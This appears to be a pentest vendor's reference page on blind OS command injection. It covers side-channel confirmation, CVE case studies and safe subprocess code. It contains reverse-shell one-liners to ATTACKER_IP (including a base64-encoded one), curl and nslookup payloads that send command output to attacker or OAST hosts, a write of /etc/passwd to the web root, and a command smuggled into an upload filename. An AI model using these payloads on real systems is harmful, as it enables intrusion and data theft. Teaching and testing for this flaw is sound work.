Command executes but output is not returned in the HTTP response; impact confirmed via DNS callbacks, file creation, or OOB channels.
TL;DR
Blind command injection is the variant of OS command injection (CWE-78) where the application executes the injected command but does not return the output in the HTTP response. The attack surface is identical to Classic injection — unsanitized user input reaches a shell execution function — but the response carries no evidence of execution. The developer's application logic discards stdout and stderr, hides them behind error handling, or runs the command in a background thread completely decoupled from the HTTP response cycle.
The critical implication: an application can be fully exploitable without ever showing the attacker a single line of command output. Production systems frequently suppress shell command output to avoid leaking internal structure, system paths, or error details to users. This design choice hides the injection but does not eliminate it.
Blind injection is detected through side channels. This distinguishes it from the two specialized sub-variants — time-based blind (response delay as oracle) and OOB injection (external DNS/HTTP callback) — which are covered in their own pages. This page focuses on the general blind category: understanding why output disappears, how to systematically confirm execution, and how to escalate a confirmed blind injection to meaningful impact.
Blind injection is not "less dangerous" than Classic. The absence of visible output is often mistaken for the absence of a vulnerability. In BreachVex's pentest data, blind injection endpoints frequently run under root or service accounts — precisely because they are background processes that developers hardened against output leakage without hardening against execution.
The output disappears for one of four reasons:
subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) — developer intentionally suppresses output for clean API responses.# Example: async blind injection — no output in response
@app.route('/api/report/generate')
def generate_report():
report_format = request.args.get('format')
# Runs in background thread — HTTP response is immediate
threading.Thread(
target=lambda: subprocess.run(
f"generate-report --format {report_format} --output /tmp/report.pdf",
shell=True,
capture_output=True # output captured but never returned to user
)
).start()
return jsonify({"status": "queued"})
# Attacker injects: format=pdf;curl http://attacker.com/$(id|base64 -w0)
# Command fires in background, output discarded — but OOB callback fires| Technique | How It Works | When to Use |
|---|---|---|
| File write | ; id > /var/www/html/out.txt — write to web root | When you know a writable web-accessible path |
| Reverse shell | ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 | When outbound TCP is permitted |
| Time-based | ; sleep 7 — measure response delay | No OOB infrastructure; timing must be reliable |
| OOB DNS | ; nslookup $(whoami).OAST_DOMAIN | Most reliable; DNS usually outbound-permitted |
| OOB HTTP | ; curl http://OAST_DOMAIN/$(id|base64 -w0) | When DNS is blocked, HTTP isn't |
| Boolean inference | Compare response length/status with vs. without injected true/false | Extreme stealth, slow enumeration |
# Write id output to a web-accessible path
; id > /var/www/html/cmdi-proof.txt
; cat /etc/passwd > /var/www/html/passwd.txt
# Timestamp-based unique probe (avoids hitting cached prior result)
; id > /var/www/html/cmdi-$(date +%s).txt
# Write to /tmp if web root is unknown — check via separate LFI or directory traversal
; id > /tmp/cmdi-proof
; touch /tmp/cmdi-was-hereAfter injecting, fetch the file path directly:
GET /cmdi-proof.txt HTTP/1.1If uid= is present, Tier 1 confirmation is achieved despite the blind nature of the endpoint.
# Bash /dev/tcp (most reliable on modern Linux)
; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Base64-encoded to bypass space/ampersand filters
; echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE= | base64 -d | bash
# Python3 reverse shell
; python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
# Netcat without -e (OpenBSD variant, common in containers)
; rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f
# Minimal confirmation (not a full shell, just proves execution)
; nc -e /bin/sh ATTACKER_IP 4444Set up the listener before injecting:
nc -lvnp 4444When all other methods are blocked, boolean inference provides a last-resort confirmation mechanism:
# Conditional — inject true vs false branch to detect behavioral difference
; test -f /etc/passwd && sleep 5 # delays 5s if /etc/passwd exists
; test -d /nonexistent && sleep 5 # should NOT delay
# Compare response lengths
; id | wc -c > /dev/null # no output, but execution confirmed by timingCVE-2024-9463 — Palo Alto Expedition (CVSS 9.9)
An unauthenticated OS command injection vulnerability in Palo Alto Networks Expedition migration tool (versions < 1.2.96). The endpoint /API/convertCSVtoParquet.php accepted user-controlled parameters that were passed directly to OS command execution functions running as root. The injection is blind — the API returns a processing status, not command output.
POST /API/convertCSVtoParquet.php HTTP/1.1
Host: expedition.example.com
Content-Type: application/x-www-form-urlencoded
file=test.csv;curl${IFS}http://ATTACKER.oast.pro/$(id|base64${IFS}-w0)Exploitation relied on OOB HTTP callbacks to confirm root-level execution. The companion CVE-2024-9464 (authenticated OS command injection, CVSS 9.3) and CVE-2024-9465 (SQL injection, CVSS 9.2) allowed credential theft from firewall configurations when chained. CISA added CVE-2024-9463 to the Known Exploited Vulnerabilities catalog.
Upload Filename Blind Injection — General Pattern
File upload endpoints that process filenames in shell commands are a persistent source of blind injection. When an application passes a user-supplied filename to an image conversion, virus scan, or document processing binary:
POST /api/upload HTTP/1.1
Content-Disposition: form-data; name="file"; filename="report.pdf; id > /var/www/html/proof.txt"
[file content]The HTTP response returns the upload acknowledgment immediately. The backend processes the file asynchronously. If the filename is passed to convert, clamdscan, or pandoc via a shell string, the injected command fires during processing — typically 0.1–30 seconds after the upload response. The result appears at /proof.txt on the web server.
CVE-2024-21887 — Ivanti Connect Secure (CVSS 9.1)
The command injection in Ivanti's /api/v1/license/key-status/<node_name> endpoint was blind — the API endpoint validated inputs and returned structured JSON responses without reflecting command output. Chained with CVE-2023-46805 (authentication bypass), nation-state actors used OOB DNS exfiltration to confirm execution before deploying ZIPLINE, THINSPOOL, WIREFIRE, and LIGHTWIRE malware implants. The blind nature of the injection made it harder to detect in application logs, as no anomalous output appeared in responses.
Identify parameters that might reach OS execution functions in background or filtered processing paths — not just interactive response-reflecting endpoints.
For file-write confirmation, inject to known writable paths and attempt retrieval:
; id > /var/www/html/cmdi-test.txtThen: GET /cmdi-test.txt — if uid= is present, confirmed.
For time-based confirmation, use the proportional protocol (see Time-Based Blind page):
; sleep 7 → measure delta D1
; sleep 14 → measure delta D2Confirm only if D1 ≥ 5.5s AND D2 ≥ 12.5s (proportional scaling).
For OOB confirmation — the most reliable method:
; nslookup $(whoami).YOUR-COLLABORATOR-ID.oastify.com
; curl http://YOUR-INTERACTSH-SERVER/$(id|base64 -w0)Monitor the OAST server for incoming connections. A DNS lookup with the running username in the subdomain constitutes Tier 1 proof.
For upload-filename injection, use a unique timestamp-based filename:
Content-Disposition: form-data; name="file"; filename="test$(date +%s).jpg; id > /var/www/html/out.txt"Check both inline and background code paths. Instrument requests using Burp's "Scan in background" to inject into upload flows and async processing endpoints.
Commix with time-based and file-based techniques:
commix --url "http://target.com/upload" --data "filename=*&format=pdf" \
--batch --smart --technique=TF --level=3Burp Suite Pro Collaborator-based detection is most effective for blind injection — it detects DNS and HTTP callbacks without requiring timing analysis. Configure active scan with OAST polling enabled.
BreachVex confirms blind injection through multiple complementary techniques: a file-write probe to a writable path, proportional time-based validation, and an out-of-band DNS callback carrying a unique per-probe correlation ID (definitive when command output appears in the callback subdomain). Background-process injection paths are surfaced via second-order payload planting with extended monitoring windows.
The prevention for blind injection is identical to Classic injection — the vulnerability is the same unsanitized input reaching a shell execution function. The fact that output is not returned does not change the root cause.
# VULNERABLE — blind because output is discarded, not because it's safe
import subprocess
def process_file(filename):
subprocess.run(
f"convert /uploads/{filename} /thumbnails/{filename}.jpg",
shell=True,
capture_output=True # <-- suppressing output doesn't prevent injection
)
return {"status": "processed"}
# SAFE — array form, shell=False, plus filename sanitization
import re, os
def process_file_safe(filename):
# Allowlist: alphanumeric, hyphens, underscores, common image extensions
if not re.fullmatch(r'^[a-zA-Z0-9_\-]{1,64}\.(jpg|png|gif|webp)$', filename):
raise ValueError("Invalid filename")
safe_path = os.path.join("/uploads", filename)
out_path = os.path.join("/thumbnails", filename + ".jpg")
subprocess.run(["convert", safe_path, out_path]) # no shell, no injection
return {"status": "processed"}For file upload flows specifically: validate MIME type via magic bytes before processing, reject filenames with special characters, and use a UUID-based internal filename rather than the user-supplied name:
import uuid, magic
def save_upload(file_data, user_filename):
# Validate magic bytes
mime = magic.from_buffer(file_data[:2048], mime=True)
if mime not in {'image/jpeg', 'image/png', 'image/gif'}:
raise ValueError("Unsupported file type")
# Use UUID for all internal operations — discard user filename
internal_name = str(uuid.uuid4()) + ".jpg"
with open(f"/uploads/{internal_name}", 'wb') as f:
f.write(file_data)
return internal_nameFor background processing pipelines (Celery, queue workers, cron jobs), apply the same array-form subprocess discipline as for synchronous handlers. Background processes often run with elevated privileges, making blind injection in these contexts higher-impact than equivalent injection in the web request path.
In Classic injection, the injected command's output appears in the HTTP response. In Blind injection, the application executes the command but discards all output — stdout and stderr never reach the HTTP response. The attack surface is identical; only the confirmation method changes. Blind injection requires side-channel detection: timing, OOB callbacks, or file writes.
Side-channel signals confirm execution: (1) a measurable time delay when injecting sleep or ping (time-based blind), (2) a DNS or HTTP callback to an attacker-controlled server (OOB), (3) a file written to a web-accessible path that can be fetched afterwards, or (4) a reverse shell connection. Each method has different reliability and infrastructure requirements.
Start with a file-write probe: ; touch /tmp/cmdi-test-$(date +%s). Then check whether the file exists if you have read access, or use the time-based method as a fallback. Alternatively, start directly with time-based: inject ; sleep 7 and measure the response delta. If the delta is close to 7 seconds, escalate with a proportional sleep 14 to confirm.
Time-based confirmation is vulnerable to false positives from server load, CDN timeouts, and network jitter. A single 7-second delay without proportional scaling is ambiguous. OOB provides unambiguous confirmation: a DNS lookup received at your Interactsh server, especially when the subdomain contains whoami output, is definitive proof of execution. OOB also works through response-buffering CDNs that flatten time deltas.
CVE-2024-9463 is an unauthenticated OS command injection in Palo Alto Expedition (CVSS 9.9). The vulnerability exists in /API/convertCSVtoParquet.php — user-controlled parameters are passed directly to OS command execution functions running as root. The injection is blind: the application does not return command output in the API response. Proof-of-concept exploitation relied on OOB DNS callbacks to confirm execution.
Inject a reverse shell payload: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. If the target executes it, an interactive shell session connects back to the attacker's netcat listener (nc -lvnp 4444). Receiving the connection proves command execution. This is the most invasive confirmation method and should only be used in authorized engagements.
Inject a command that writes to a web-accessible path: ; id > /var/www/html/proof.txt. Then fetch /proof.txt from the web server. If the file exists and contains uid=, injection is confirmed. This works in environments where OOB is blocked (no outbound DNS/HTTP) and timing is unreliable. Requires knowledge of a writable web-accessible directory.
Yes. If an application passes an uploaded filename to a shell command — for thumbnail generation, virus scanning, or format conversion — without sanitizing the filename, a crafted filename like report.pdf; id > /var/www/html/out.txt can trigger blind injection during the background processing step. The upload endpoint returns immediately; the injection fires asynchronously when the backend processes the file.
Many production applications deliberately discard command output to avoid leaking internal data to API consumers. Background jobs, cron-triggered processors, and server-side analytics pipelines execute OS commands without user-visible output by design. A parameter that passes sanitization but reaches proc_open() in a worker thread can be exploited even though the HTTP response contains no evidence of the execution.
Burp Suite Pro with Collaborator integration is the standard for authorized pentests — it provides per-test unique subdomains, polling APIs, and SMTP/HTTP/DNS interaction capture. For open-source or self-hosted options, Interactsh (ProjectDiscovery) supports self-deployment for air-gapped environments. Free public endpoints include oast.pro, oast.live, oast.fun, and oast.me. Use unique per-probe subdomains with correlation IDs to avoid false positives.
Second-order injection is a subset of blind injection where the execution is deferred. The payload is stored (in a database, config file, or job queue) and executes when a separate process reads and acts on it — often a cron job, admin script, or batch processor. The confirmation signal appears minutes or hours after the initial payload delivery. OOB payloads with long DNS TTLs are the standard detection technique.